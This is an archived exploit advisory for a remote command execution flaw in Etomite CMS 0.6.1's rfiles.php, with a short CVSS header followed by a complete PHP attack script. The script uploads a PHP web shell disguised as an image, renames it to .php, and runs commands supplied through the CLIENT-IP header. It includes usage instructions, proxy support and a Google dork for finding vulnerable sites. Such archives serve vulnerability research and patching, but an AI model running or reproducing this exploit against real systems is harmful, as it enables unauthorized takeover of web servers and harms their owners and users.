Etomite CMS <= 0.6.1 'rfiles.php' remote command execution

2007-03-05 / 2007-03-06
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "Etomite CMS <= 0.6.1 'rfiles.php' remote command execution\r\n"; echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google dork: \"Content managed by the Etomite Content Management System\"\r\n\r\n"; /* works regardless of php.ini settings */ if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to etomite\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /etomite/ \r\n"; echo "php ".$argv[0]." localhost / -P1.1.1.1:80\r\n"; die; } /* software site: http://www.etomite.org/ explaination: if you can call directly rfiles.php script you can upload an image file, then you can rename it with .php extension, so you launch commands... */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} srand(make_seed()); $anumber = rand(1,999); $valid = array('gif', 'jpg', 'jpeg', 'png'); for ($i=0; $i<count($valid); $i++) { $data='-----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="lang" en -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="param" upload -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="flist" 1 -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="cimg" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="ilibs" / -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="randomParam" &w=150&h=150&zc=1 -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="popClassName" default -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="popTitle" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="in_srcnew" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="in_dirnew" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="nfile[]"; filename="suntzu'.$anumber.'.php.'.$valid[$i].'" Content-Type: <?php set_time_limit(0);echo "my_delim";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "my_delim";?> -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="chkThumbSize[0]" 0 -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="selRotate" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_title" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_alt" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_class" default -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_align" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_border" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_vspace" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_hspace" -----------------------------7d6341a4e0c5a Content-Disposition: form-data; name="pr_captionClass" default -----------------------------7d6341a4e0c5a-- '; $packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6341a4e0c5a\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); $data='-----------------------------7d62f31919f0218 Content-Disposition: form-data; name="lang" en -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="param" rename|suntzu'.$anumber.'.php.'.$valid[$i].'|suntzu'.$anumber.'.php -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="flist" 1 -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="cimg" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="ilibs" '.$path.'manager/media/ibrowser/temp/ -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="randomParam" &w=150&h=150&zc=1 -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="popClassName" default -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="popTitle" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="in_srcnew" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="in_dirnew" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="nfile[]"; filename="" Content-Type: application/octet-stream -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="chkThumbSize[0]" 0 -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="selRotate" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_title" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_alt" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_class" default -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_align" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_border" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_vspace" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_hspace" -----------------------------7d62f31919f0218 Content-Disposition: form-data; name="pr_captionClass" default -----------------------------7d62f31919f0218-- '; $packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62f31919f0218\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); $packet ="GET ".$p."manager/media/ibrowser/temp/suntzu".$anumber.".php HTTP/1.0\r\n"; $packet.="CLIENT-IP: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"my_delim")) { $temp=explode("my_delim",$html); echo "exploit succeeded...\r\n"; die($temp[1]); } } //if you are here... echo "exploit failed..."; ?> original url: http://retrogod.altervista.org/etomite_061_cmd.html also sql injection: http://retrogod.altervista.org/etomite_061_sql.html


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